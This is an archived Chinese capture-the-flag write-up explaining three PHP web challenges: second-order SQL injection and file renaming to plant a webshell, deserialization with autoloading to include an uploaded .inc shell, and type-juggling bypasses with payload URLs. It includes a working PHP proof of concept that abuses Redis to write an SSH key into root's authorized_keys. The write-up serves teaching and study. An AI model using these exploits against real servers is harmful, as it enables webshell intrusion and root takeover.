# 几期『三个白帽』小竞赛的writeup

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-11-19T02:26:00Z
Canonical: https://wepostx.com/topics/1186

> 乌云历史资料归档
>
> **原始作者：** phith0n
> **原始编号：** superkieran-wooyundrops:896
> **原始发布时间：** 2015-11-19 10:26
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

自从三个白帽问世以后，收到了大家的喜欢，依托『三个白帽』乌云做了几次小竞赛，我也出了几道题。Writeup不全是大家普遍反映的问题，我这里把几道题的解题思路汇总一下。 这几道题的源代码与环境都在三个白帽的集市中，大家获取三个白帽的邀请码以后可以在集市中进行购买与启动。

# 0x00 二次注入+文件名修改导致getshell

本题是出现在XDCTF2015线下决赛中的题目之一，被我移植到三个白帽的环境中了。考察的是代码审计功底，和对于二次注入的利用。

## 入口：二次注入漏洞
此题入口点是二次注入。
在common.inc.php中可以看到全局进行了转义，这样常规注入少了大部分。遍观代码，输入处没有任何反转义、反解压、数字型等特殊情况，基本可以确定不存在直接的注入漏洞。 看到上传处的代码upload.php：

```text
#!php $name = basename($file["name"]); $path_parts = pathinfo($name); if(!in_array($path_parts["extension"], ["gif", "jpg", "png", "zip", "txt"])) { exit("error extension"); } $path_parts["extension"] = "." . $path_parts["extension"]; $name = $path_parts["filename"] . $path_parts["extension"]; $path_parts["filename"] = $db->quote($path_parts["filename"]); $fetch = $db->query("select * from `file` where `filename`={$path_parts['filename']} and `extension`={$path_parts['extension']}"); if($fetch && $fetch->fetchAll()) { exit("file is exists"); } if(move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) { $re = $db->exec("insert into `file` ( `filename`, `view`, `extension`) values ( {$path_parts['filename']}, 0, '{$path_parts['extension']}')"); if(!$re) { print_r($db->errorInfo()); exit; }
```
可见，上传的文件名走过的流程是：
$file['name'] -> pathinfo() –> $path_parts["filename"] -> quote() -> insert
由于经过了pdo的quote方法转义，所以此处也不存在注入。
再看到rename.php

```text
#!php $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'"); if ($result) { $result = $result->fetch(); } if(!$result) { exit("old file doesn't exists!"); } else { $req['newname'] = basename($req['newname']); $re = $db->exec("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
```
根据$req['filename']从数据库里查询到已存在的一行，并调用update语句进行修改。
但这里oldname='{$result['filename']}' 将从数据库里查出的$result['filename']再一次入库，结果造成一个二次注入。

## 利用二次操作进行getshell
那么注入有什么用？
这应该是大家拿到题目，想到的第一个问题。这题明显与getshell有关，源码里包含文件上传、文件改名、文件删除等函数。
我们来一个个分析。
首先upload.php是文件上传的操作，但可见上传处对文件进行了白名单验证：

```text
#!php if(!in_array($path_parts["extension"], ["gif", "jpg", "png", "zip", "txt"])) { exit("error extension"); }
```
导致我们无法上传恶意文件。
其次是delete.php，这个文件其实是个烟雾弹，删除操作并不能利用。
再次是rename.php，这里明显是getshell的关键。

```text
#!php $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'"); if ($result) { $result = $result->fetch(); } if(!$result) { exit("old file doesn't exists!"); } else { $req['newname'] = basename($req['newname']); $re = $db->exec("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}"); if(!$re) { print_r($db->errorInfo()); exit; } $oldname = UPLOAD_DIR . $result["filename"] . $result["extension"]; $newname = UPLOAD_DIR . $req["newname"] . $result["extension"]; if(file_exists($oldname)) { rename($oldname, $newname); }
```
最重要的就是后面这5行。
Oldname和newname，有几个特点：

- 后缀相同，都是$result[‘extension’]

- oldname的文件名来自数据库，newname的文件名来自用户输入

首先后缀相同这个特点，就导致getshell似乎难以完成，如果要getshell那么一定要将“非.php”后缀的文件重命名成“.php”的文件。后缀相同怎么重命名？
除非后缀为空！
所以我们的update型注入就开始派上用场了。通过update型注入，我们可以将数据库中extension字段的值改为空，同时也可以控制filename的值，那么等于说我能控制rename函数的两个参数的值，这样getshell就近在咫尺了。
但还有个坑，这里改名的时候检查了文件是否存在：if(file_exists($oldname))
我虽然通过注入修改了filename的值，但我upload目录下上传的文件名是没有改的。
因为我利用注入将extension改为空了，那么实际上数据库中的filename总比文件系统中真是的文件名少一个后缀。
那么这里的file_exists就验证不过。怎么办？
简单啊，再次上传一个新文件，这个文件名就等于数据库里的filename的值就好了。
所以最后整个getshell的流程，实际上是一个二次注入 + 二次操作getshell.

## 具体操作
1.选择文件上传

![原文图片](/media/2016/06/0476fc622e4a2ecc2b2492e92dd16b54)

2.rename造成注入：

![原文图片](/media/2016/06/8912d632a3d64d9bb22d65a2c9b1b2b8)

3.上传真正包含webshell的文件x.jpg

![原文图片](/media/2016/06/d9ed02b995e80bab6880bd281d6225f5)

4.重命名进行getshell：

![原文图片](/media/2016/06/26f05a2759576c98f35b90bd5d489f8b)

5.成功

![原文图片](/media/2016/06/939ff2ca4fd2100f7198f8c7aa632278)

# 0x01 反序列化+auto_register导致的代码执行

本题考察的是PHP反序列化碰上auto_register导致的安全问题。

## 找到源码
目标 http://24caf446e2bb0e659.jie.sangebaimao.com/
首先扫描发现其包含.git目录，但访问/.git/index发现没有这个文件，可能是被破坏了。
用lijiejie的工具无法还原，但用某些工具还是可以办到的，详见我之前的文章：[https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html](https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html)
就不再赘述，用某工具直接还原源码：

![原文图片](/media/2016/06/15138955ebe11c2d10e9f1b75f155bee)

## getshell
首先通读源码，发现有几个特点：

- 可以上传任意文件，后缀有黑名单检查，文件名是随机字符串md5值

- 数据存储于cookie中，通过php反序列化函数还原并显示

其实考察点比较有意思。
看到common.inc.php里，包含spl_autoload_register函数，这个函数是自动注册类用的，在当今特别是新型的框架（laravel、composer）中常用。
这个函数有个特点，如果不指定处理用的函数，就会自动包含“类名.php”或“类名.inc”的文件，并加载其中的“类名”类。
这就比较有意思了，我们之前的黑名单是不包括“.inc”文件的，所以我们可以按照下面方法进行getshell：
1.上传webshell，后缀为.inc，被重命名为xxxx.inc

![原文图片](/media/2016/06/93f03e2572f1945bacd4d9915499613b)

2.序列化一个类名为xxxx的类对象

![原文图片](/media/2016/06/44cbaa8637000c83beb87f1f6e6da4b2)

3.将序列化以后的字符串作为cookie，发送到服务器上

![原文图片](/media/2016/06/1cd39380fc83c087c81fca0e9d802a5e)

4.服务器反序列化这个字符串后，将会自动加载xxxx类，由于之前spl_autoload_register函数注册的方法，会自动加载xxxx.inc，从而造成文件包含漏洞，getshell成功

![原文图片](/media/2016/06/f99b5c16813e74a04e181676ad8984cb)

在网站根目录的flag-1.php中获得第一个flag。

## 利用本地redis提权
拿到webshell以后，查看一下服务器的一些敏感信息。
比如在phpinfo里看到了，session的处理方式用的redis，并且save_path里暴露了redis的端口和密码：

![原文图片](/media/2016/06/38b523b8e1ce90184bf846ccfeadee86)

于是可以利用这段时间比较火的redis写公钥文件进行提权。
直接编写一个redis.php，用php来连接redis，执行redis写公钥的POC：

```text
#!php <?php $redis = new Redis(); $redis->connect('127.0.0.1', 21821); $redis->auth("Tat141uIyX8NKU"); $redis->flushall(); $redis->config("SET", "dir", "/root/.ssh/"); $redis->config("SET", "dbfilename", "authorized_keys"); $redis->set("0", "\n\n\nssh-rsa key_pub\n\n\n"); $redis->save();
```
连接其ssh端口，直接获取root权限。
读取/root/flag-2.txt获得第二个flag。

# 0x02 PHP类型与逻辑+fuzz与源代码审计

本题考察了PHP类型与变量的特点，与参赛选手对于一个『不明白』的问题的解决方案（fuzz或阅读源码）。
源码如下

```text
#!php <?php if(isset($_GET['source'])){ highlight_file(__FILE__); exit; } include_once("flag.php"); /* shougong check if the $number is a palindrome number(hui wen shu) */ function is_palindrome_number($number) { $number = strval($number); $i = 0; $j = strlen($number) - 1; while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true; } ini_set("display_error", false); error_reporting(0); $info = ""; $req = []; foreach([$_GET, $_POST] as $global_var) { foreach($global_var as $key => $value) { $value = trim($value); is_string($value) && is_numeric($value) && $req[$key] = addslashes($value); } } $n1 = intval($req["number"]); $n2 = intval(strrev($req["number"])); if($n1 && $n2) { if ($req["number"] != intval($req["number"])) { $info = "number must be integer!"; } elseif ($req["number"][0] == "+" || $req["number"][0] == "-") { $info = "no symbol"; } elseif ($n1 != $n2) { //first check $info = "no, this is not a palindrome number!"; } else { //second check if(is_palindrome_number($req["number"])) { $info = "nice! {$n1} is a palindrome number!"; } else { if(strpos($req["number"], ".") === false && $n1 < 2147483646) { $info = "find another strange dongxi: " . FLAG2; } else { $info = "find a strange dongxi: " . FLAG; } } } } else { $info = "no number input~"; } ?>
```
在题目上线前，我已经让部分人测试过，当时大家找到了一些解决方法。
之前没有这句话$req["number"] != intval($req["number"])，所以大家有很多方法可以解决这个问题，比如1x10、01.1
于是我加了上面这句判断，这样就可以限制这些解法。现在说一下最终得到的三种解决方案。

## 利用整数溢出绕过
这是最简单的方法，用的是php的整数上限。借用下 @蓝加白 写的writeup（条理清晰，思路很好）。
首先，看一下源代码。发现要找到FLAG，必须要满足以下三个条件：

- number = intval(number)

- intval(number) = intval(strrev(number))

- not a palindorme number
貌似第二个条件和第三个条件冲突了，但是我们可以利用intval函数的限制：
[http://php.net/manual/zh/function.intval.php](http://php.net/manual/zh/function.intval.php)
看一下解释：最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例，在这样的系统上， intval('1000000000000') 会返回 2147483647。64 位系统上，最大带符号的 integer 值是 9223372036854775807。
从上面我们可以知道，intval函数还依赖操作系统，很明显测试的环境系统是64位，所以应该选：9223372036854775807。
但有个问题，它的回文数明显小于64位系统的限制，所以我们想到前面加个0；
最终payload: http://f2ed13418097d206c.jie.sangebaimao.com/?number=09223372036854775807

## 利用浮点数精度绕过
这是 @玉林嘎 提出来的解决方案。
我来说一下原理。首先在电脑上测试下面的php代码：

![原文图片](/media/2016/06/044204dbcc2cafb16a8ad19e6f7ec57d)

可见，在小数小于某个值（10^-16）以后，再比较的时候就分不清大小了，这与php内部储存浮点数的机制有关。
在计算机里，是不能精确表示某个浮点数的。比如1.0，通常情况下储存在计算机里的数值是1.000000000000xxx，是一个十分接近1.0的数。
所以，我们在执行这个if语句的时候if ($req["number"] != intval($req["number"]))，会先将右值转换成整数，再与左值比较。而左值是一个浮点数（1.000000000000001），所以右值又会被隐式地强制转换成浮点数1.0
那么1.0和1.000000000000001究竟是否相等呢？
因为我前面说的特性，1.0其实也不是精准的1.0，所以php在比较的时候是不能精准比较浮点数的，所以它会『忽略』比10的-16次方更小的部分，然后就会认为左值和右值相等。
回到CTF中，利用这个特性，我们构造1000000000000000.00000000000000010，即可绕过第一个if语句，并且拿到flag。

## 函数特性导致绕过
这个特性涉及到php『数字类』函数的一个特性。什么函数？包括is_numeric和intval等包含数字判断及转换的函数。
is_numeric为例，我们先来看他的源代码：

![原文图片](/media/2016/06/8a8e2d9eb1d9e47ce6d7b75dbb26cabe)

可见我画框的部分，is_numeric函数在开始判断前，会先跳过所有空白字符。这是一个特性。
也就是说，is_numeirc(" \r\n \t 1.2")是会返回true的。
同理，intval(" \r\n \t 12")，也会正常返回12。
这就完成了一半。但有的同学又问了，题目获取$req['number']的时候明明使用trim过滤了空白字符的呀？
我们再看到trim的源码：

![原文图片](/media/2016/06/834a8f8309f9d159b60595451e6151b3)

掰指头算一下，这里过滤的空白字符和之前跳过的空白字符有什么区别？
少了一个"\f"，嘿嘿。
于是我们可以引入\f（也就是%0c）在数字前面，来绕过最后那个is_palindrome_number函数，而对于前面的数字判断，因为intval和is_numeric都会忽略这个字符，所以不会影响。
最后通过payload: http://f2ed13418097d206c.jie.sangebaimao.com/?number=%0c121 拿到第二个flag：

![原文图片](/media/2016/06/ef581144ba6f4f3dc1b7bfaed9938fa4)

## Replies
